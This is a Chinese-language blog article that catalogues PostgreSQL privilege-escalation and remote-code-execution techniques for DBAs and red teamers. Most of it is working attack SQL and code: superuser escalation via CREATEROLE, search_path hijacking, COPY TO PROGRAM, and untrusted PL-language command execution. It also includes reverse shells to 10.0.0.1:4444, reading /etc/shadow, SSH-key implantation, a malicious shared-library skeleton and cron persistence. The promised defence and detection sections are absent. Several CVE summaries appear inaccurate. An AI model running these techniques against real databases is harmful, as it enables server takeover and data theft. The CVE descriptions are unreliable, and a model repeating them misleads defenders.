PostgreSQL 提权与 RCE 全景
PostgreSQL 提权与 RCE 全景
本文系统梳理 PostgreSQL 中从普通用户到超级用户(提权)、从数据库连接到操作系统命令执行(RCE)的攻击面与防御面。面向 DBA、安全工程师与红队研究者,旨在建立完整的攻防认知地图。
目录
- 基础概念与权限模型
- 认证阶段攻击面
- 提权技术全景
- RCE 技术全景
- 文件读写能力
- 从文件读写到 RCE 的桥接
- CVE 历史漏洞精选
- 防御体系构建
- 检测与应急
- 速查矩阵
1. 基础概念与权限模型
1.1 角色层级
┌─────────────────────────────────────────────┐
│ Superuser (superuser=true) │
│ 绕过所有权限检查,可执行任意操作 │
├─────────────────────────────────────────────┤
│ 有特定属性的角色 │
│ CREATEROLE / CREATEDB / REPLICATION / │
│ BYPASSRLS │
├─────────────────────────────────────────────┤
│ 普通角色 │
│ 仅拥有被显式授予的权限 │
└─────────────────────────────────────────────┘
1.2 关键权限属性
| 属性 | 含义 | 提权价值 |
|---|---|---|
SUPERUSER |
绕过所有权限检查 | 终极目标 |
CREATEROLE |
可创建新角色 | 可创建高权限角色(受版本限制) |
CREATEDB |
可创建数据库 | 可在可信数据库中创建对象 |
REPLICATION |
可建立流复制连接 | 可读取所有 WAL 数据 |
BYPASSRLS |
绕过行级安全策略 | 可读取受 RLS 保护的数据 |
INHERIT |
自动继承父角色权限 | 权限传播路径 |
1.3 SECURITY DEFINER 机制
SECURITY DEFINER 函数以定义者身份执行,而非调用者。这是 PostgreSQL 中最危险的提权跳板之一——如果超级用户定义了一个 SECURITY DEFINER 函数且搜索路径可控,普通用户调用时即可获得超级用户权限上下文。
2. 认证阶段攻击面
2.1 trust 认证
pg_hba.conf 中配置为 trust 的连接允许任意用户无密码登录。如果攻击者能到达数据库端口(通常 5432),可直接以超级用户身份连接:
# TYPE DATABASE USER ADDRESS METHOD
local all all trust
host all all 0.0.0.0/0 trust
危害:直接以 postgres 身份登录,无需任何提权步骤。
2.2 md5 认证与离线破解
md5 认证方式使用 md5(password + username) 作为哈希。该方案存在固有弱点:
- 哈希不加盐,同一用户在所有数据库中哈希相同
- 可离线暴力破解
- 可预计算特定用户名的彩虹表
防御:迁移到 scram-sha-256(PostgreSQL 10+ 默认)。
2.3 SCRAM-SHA-256 的安全性
PostgreSQL 10 引入 scram-sha-256,使用 PBKDF2 迭代 + 随机盐 + 通道绑定。安全性显著优于 md5,但仍需注意:
- 迭代次数默认较低(建议提高至 10000+)
- 通道绑定(channel binding)可防止中间人攻击,但需客户端支持
2.4 认证绕过 CVE
- CVE-2024-7348:Amcheck 扩展在特定条件下可绕过认证检查(影响 PG 14-16)
- 历史上
pg_hba.conf配置错误(如all匹配范围过大)是最常见的认证面暴露
3. 提权技术全景
3.1 CREATEROLE 利用
拥有 CREATEROLE 属性的角色可创建新角色。在 PostgreSQL 16 之前,CREATEROLE 角色可以授予自己任意属性(包括 SUPERUSER),这是一个长期被诟病的设计:
-- 攻击者拥有 CREATEROLE 但非 SUPERUSER
CREATE ROLE attacker_super WITH SUPERUSER LOGIN PASSWORD 'x';
SET ROLE attacker_super;
-- 现在是超级用户
PostgreSQL 16 修复:CREATEROLE 不再能授予 SUPERUSER、REPLICATION、BYPASSRLS 等高危属性。但仍可授予 CREATEDB 等属性,需持续关注。
3.2 SECURITY DEFINER 函数滥用
场景:搜索路径劫持
-- 超级用户创建了这样一个函数
CREATE FUNCTION get_user_count() RETURNS integer
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
DECLARE count integer;
BEGIN
SELECT count(*) INTO count FROM users; -- 未限定 schema
RETURN count;
END;
$$;
-- 攻击者操作
CREATE SCHEMA evil;
SET search_path = evil, public;
-- 在 evil schema 中创建同名的假表或函数
CREATE TABLE evil.users AS SELECT 1; -- 劫持表引用
-- 调用函数时,以超级用户身份执行,但引用了攻击者控制的 evil.users
SELECT get_user_count();
防御:所有 SECURITY DEFINER 函数必须在函数体内完全限定 schema(如 public.users),并在函数定义中锁定 search_path:
ALTER FUNCTION get_user_count() SET search_path = public, pg_temp;
场景:参数注入
-- 脆弱函数:动态 SQL 拼接用户输入
CREATE FUNCTION exec_query(table_name text) RETURNS void
LANGUAGE plpgsql SECURITY DEFINER
AS $$
BEGIN
EXECUTE 'GRANT SELECT ON ' || table_name || ' TO app_user';
END;
$$;
-- 攻击者调用
SELECT exec_query('secrets; GRANT SELECT ON admin_keys TO attacker --');
3.3 利用 pg_execute_server_program
PostgreSQL 11 引入了 pg_execute_server_program 预定义角色,授予后可使用 COPY ... TO/FROM PROGRAM 执行操作系统命令:
-- 如果攻击者获得此权限
GRANT pg_execute_server_program TO app_user;
-- 直接 RCE
COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned';
关键:在 PG 11+ 中,COPY ... PROGRAM 不再仅限超级用户,而是可通过此角色授予。默认仅超级用户拥有。
3.4 利用 pg_read_server_files / pg_write_server_files
PostgreSQL 11 引入的文件读写预定义角色:
GRANT pg_read_server_files TO app_user; -- 可读任意文件
GRANT pg_write_server_files TO app_user; -- 可写任意文件
拥有 pg_write_server_files 的角色可写入 ~/.ssh/authorized_keys 或覆盖 PostgreSQL 共享库,实现提权到操作系统用户。
3.5 利用 REPLICATION 权限
REPLICATION 角色可建立逻辑/物理复制连接。通过逻辑复制:
-- 创建逻辑复制槽,持续接收 WAL
-- 可读取所有表变更数据,包括敏感数据
SELECT * FROM pg_create_logical_replication_slot('evil_slot', 'test_decoding');
物理复制连接可获取完整 WAL 流,进而重建整个数据库内容。REPLICATION 本身不等于超级用户,但泄露所有数据。
3.6 利用扩展安装
如果非超级用户被授予 CREATE EXTENSION 能力(通常需要超级用户,但某些配置下可被绕过),可安装恶意扩展实现任意代码执行:
CREATE EXTENSION malicious_ext; -- 加载 .so 共享库
3.7 利用 ALTER SYSTEM
ALTER SYSTEM 修改服务器配置参数。超级用户可执行:
-- 修改配置以加载恶意库
ALTER SYSTEM SET shared_preload_libraries = 'evil';
SELECT pg_reload_conf();
非超级用户无法直接执行 ALTER SYSTEM,但如果能写入 postgresql.auto.conf(通过文件写权限),效果相同。
3.8 利用临时 schema 与 search_path
pg_temp schema 在会话中动态创建,排在 search_path 靠前位置时,攻击者可在其中创建对象劫持函数调用:
-- 如果 search_path 包含 pg_temp 且靠前
CREATE FUNCTION pg_temp.my_function() RETURNS void AS $$
-- 恶意代码
$$ LANGUAGE plpgsql;
3.9 利用 pg_largeobject
大对象接口允许读写数据库内的大对象。如果超级用户创建了包含敏感数据的大对象,普通用户通过 lo_import / lo_export 可将其导出到文件系统:
-- 将文件导入为大对象
SELECT lo_import('/etc/postgresql/13/main/postgresql.conf', 16384);
-- 读取大对象内容
SELECT loread(lo_open(16384, 262144), 10000);
-- 导出大对象到文件系统
SELECT lo_export(16384, '/tmp/config_dump');
4. RCE 技术全景
4.1 COPY … TO/FROM PROGRAM
最直接的 RCE 路径。需要超级用户或 pg_execute_server_program 角色成员。
-- 执行命令并捕获输出
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;
-- 反弹 shell
COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"';
-- 写入 SSH 公钥
COPY (SELECT 'ssh-rsa AAAA... attacker@evil') TO PROGRAM 'cat >> ~/.ssh/authorized_keys';
前提条件:
- 超级用户权限,或
pg_execute_server_program角色成员,或- CVE 导致的权限绕过
4.2 PL/Python (PL/PythonU)
非受信的 Python 过程语言,可执行任意 Python 代码:
CREATE OR REPLACE FUNCTION rce(cmd text) RETURNS text
LANGUAGE plpython3u
AS $$
import subprocess
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout + result.stderr
$$;
SELECT rce('id');
-- uid=114(postgres) gid=120(postgres) groups=120(postgres)
注意:
plpython3u(untrusted)无沙箱,可执行任意系统调用plpythonu(Python 2 版本,已废弃)同理- 安装需要超级用户:
CREATE EXTENSION plpython3u; - 一旦安装,任何能创建该语言函数的角色均可 RCE
4.3 PL/Perl (PL/PerlU)
非受信任的 Perl 过程语言:
CREATE OR REPLACE FUNCTION rce_perl(cmd text) RETURNS text
LANGUAGE plperlu
AS $$
my $output = `$cmd`;
return $output;
$$;
SELECT rce_perl('cat /etc/shadow');
受信任版本 plperl 限制了 require、use 等操作,但历史上多次被绕过。
4.4 PL/R
R 语言过程语言,同样无沙箱:
CREATE OR REPLACE FUNCTION rce_r(cmd text) RETURNS text
LANGUAGE plr
AS $$
system(cmd)
$$;
SELECT rce_r('nc -e /bin/bash 10.0.0.1 4444');
4.5 共享库加载
方式一:CREATE EXTENSION
-- 需要先将有恶意 .so 文件放入 lib 目录
CREATE EXTENSION evil_ext;
方式二:session_preload_libraries / shared_preload_libraries
-- 超级用户可设置
ALTER SYSTEM SET session_preload_libraries = 'evil';
SELECT pg_reload_conf();
-- 新连接加载 evil.so
方式三:通过文件写入 + 重载
如果攻击者有文件写权限但非超级用户:
-- 1. 写入恶意 .so 到 PostgreSQL lib 目录
SELECT pg_write_file('/usr/lib/postgresql/13/lib/evil.so', <binary_data>);
-- 2. 通过崩溃后的自动重启加载(如果配置了自动重启)
-- 或等待管理员重启
4.6 通过 lo_export 写入 + 共享库加载
-- 1. 构造恶意 .so 的字节流
-- 2. 创建大对象并写入
SELECT lo_from_bytea(0, <malicious_so_bytes>);
-- 3. 导出到文件系统
SELECT lo_export(<oid>, '/tmp/evil.so');
-- 4. 加载(需要 CREATE EXTENSION 或配置修改能力)
4.7 通过外部数据包装器(FDW)
如果配置了 postgres_fdw 连接到攻击者控制的 PostgreSQL 实例:
-- 攻击者控制的远程服务器上定义了恶意函数
CREATE FOREIGN TABLE ft_rce (cmd text)
SERVER evil_server OPTIONS (table_name 'rce_table');
-- 通过 FDW 间接执行远程函数
某些 FDW(如 file_fdw)可直接读取服务器文件,配合其他技术实现 RCE。
4.8 通过触发器执行
-- 在已有 SECURITY DEFINER 函数的基础上
CREATE TRIGGER evil_trigger AFTER INSERT ON some_table
FOR EACH ROW EXECUTE FUNCTION vulnerable_sec_definer_func();
-- 触发执行
INSERT INTO some_table VALUES (1);
4.9 通过事件触发器
-- 事件触发器在 DDL 事件时执行
CREATE EVENT TRIGGER evil_event
ON ddl_command_end
EXECUTE FUNCTION rce_function();
-- 任何 DDL 操作触发
CREATE TABLE dummy (id int);
5. 文件读写能力
文件读写是提权到 RCE 的关键桥梁。PostgreSQL 提供多种文件读写途径:
5.1 超级用户专用函数
-- 读取文本文件
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/passwd', 0, 100); -- offset, length
-- 读取二进制文件
SELECT pg_read_binary_file('/etc/shadow');
-- 写入文件(PG 11+,需要超级用户或 pg_write_server_files)
SELECT pg_write_file('/tmp/test', 'hello world');
5.2 COPY … TO/FROM 文件
-- 读取文件到表
CREATE TABLE file_content(line text);
COPY file_content FROM '/etc/passwd';
SELECT * FROM file_content;
-- 写入表内容到文件
COPY (SELECT 'malicious content') TO '/tmp/evil';
5.3 大对象接口
-- 读取文件
SELECT lo_import('/etc/passwd'); -- 返回 OID
SELECT loread(lo_open(<oid>, 262144), 1000000); -- 读取内容
-- 写入文件
SELECT lo_from_bytea(0, 'content'); -- 创建大对象
SELECT lo_export(<oid>, '/tmp/output'); -- 导出到文件
5.4 临时文件信息泄露
PostgreSQL 在执行大型排序、哈希操作时会创建临时文件。在特定条件下,这些文件可能包含敏感数据,且文件路径可预测。
5.5 日志文件读取
-- 如果日志文件路径已知且有读权限
SELECT pg_read_file('log/postgresql-2024-01-15.log');
-- 日志中可能包含查询明文(含密码、密钥等)
6. 从文件读写到 RCE 的桥接
6.1 经典路径:写 .so → 加载 → RCE
文件写权限
│
├─→ 写入恶意 .so 到 lib 目录
│ │
│ └─→ CREATE EXTENSION / preload_libraries → RCE
│
├─→ 写入 ~/.ssh/authorized_keys
│ │
│ └─→ SSH 登录 → RCE(操作系统层)
│
├─→ 覆盖 postgresql.auto.conf
│ │
│ └─→ 设置 shared_preload_libraries → 重启 → RCE
│
└─→ 覆盖 PostgreSQL 二进制或脚本
│
└─→ 下次启动/调用 → RCE
6.2 写 .so 的具体步骤
- 构造恶意共享库:编写 C 代码,实现
_PG_init函数,在加载时执行任意代码 - 编译为 .so:
gcc -shared -fPIC -o evil.so evil.c -I$(pg_config --includedir) - 写入文件系统:通过
pg_write_file或lo_export将 .so 写入 lib 目录 - 触发加载:
CREATE EXTENSION或修改shared_preload_libraries并重载
恶意 .so 的最小骨架:
#include "postgres.h"
#include "fmgr.h"
void _PG_init(void) {
system("id > /tmp/pwned");
}
6.3 覆盖配置文件路径
-- 写入 postgresql.auto.conf(ALTER SYSTEM 的底层文件)
SELECT pg_write_file(
'/var/lib/postgresql/13/main/postgresql.auto.conf',
"shared_preload_libraries = 'evil'\n"
);
-- 等待重启或触发崩溃
6.4 通过 Cron 持久化
如果 PostgreSQL 运行用户对 /etc/cron.d/ 或用户 crontab 有写权限:
COPY (SELECT '*/1 * * * * postgres /tmp/evil.sh') TO '/etc/cron.d/persistence';
7. CVE 历史漏洞精选
7.1 CVE-2019-9193 — COPY PROGRAM 权限文档误导
影响:PostgreSQL 9.3+ 文档暗示 COPY ... PROGRAM 需要超级用户,但实际实现中,任何能执行 COPY 的角色在某些配置下均可执行 PROGRAM。
本质:文档与实现不一致导致的权限误判。虽然后续版本修复了文档,但许多管理员基于错误文档配置了权限。
7.2 CVE-2018-10925 — 逻辑复制权限绕过
影响:PostgreSQL 10.0-10.4
本质:逻辑复制初始表数据同步阶段未正确检查权限,普通用户可通过创建逻辑复制订阅读取无权访问的表数据。
利用:
-- 攻击者控制的发布端
CREATE PUBLICATION evil_pub FOR TABLE secrets;
-- 受害端(普通用户)
CREATE SUBSCRIPTION evil_sub
CONNECTION 'host=attacker.com ...'
PUBLICATION evil_pub;
-- 受害端将 secrets 表数据发送到攻击者
7.3 CVE-2019-10164 — 内存损坏导致 RCE
影响:PostgreSQL 10.x(10.0-10.3)、11.x(11.0-11.2)
本质:在处理特定类型的窗口函数时存在内存越界写入,可导致代码执行。需要精心构造查询触发。
7.4 CVE-2024-7348 — 扩展安装绕过
影响:PostgreSQL 14-16(Amcheck 扩展)
本质:Amcheck 扩展的安装脚本在特定条件下可绕过超级用户检查,允许非超级用户加载扩展实现代码执行。
7.5 CVE-2021-32029 — 索引表达式沙箱逃逸
影响:PostgreSQL 11-13
本质:在特定配置下,非超级用户可通过精心构造的索引表达式调用受限函数,绕过沙箱限制。
7.6 CVE-2020-25692 — 数据库链接密码泄露
影响:PostgreSQL 11-13
本质:在特定条件下,普通用户可查看其他用户创建的数据库链接(dblink)的连接密码。
7.7 CVE-2022-1552 — libpq 连接字符串注入
影响:PostgreSQL 14
本质:在特定客户端配置下,连接字符串中的特殊字符可被注入,导致连接到攻击者控制的服务器。
7.8 CVE-2023-39418 — 行安全策略绕过
影响:PostgreSQL 15
本质:在特定查询条件下,行安全策略(RLS)可被绕过,普通用户可读取受保护行。
7.9 漏洞趋势总结
| 年份 | 漏洞类型 | 数量趋势 | 核心模式 |
|---|---|---|---|
| 2018-2019 | 权限绕过 | 高 | 逻辑复制、COPY PROGRAM |
| 2020-2021 | 沙箱逃逸 | 中 | 索引表达式、PL 语言 |
| 2022-2023 | 信息泄露 | 中 | 连接字符串、RLS 绕过 |
| 2024 | 扩展绕过 | 低 | Amcheck、认证检查 |
规律:随着 PostgreSQL 安全模型日趋完善(PG 11 预定义角色、PG 16 CREATEROLE 收紧),漏洞利用门槛持续提高,但扩展生态和配置错误仍是主要攻击面。
- 点赞
- 收藏
- 关注作者
评论(0)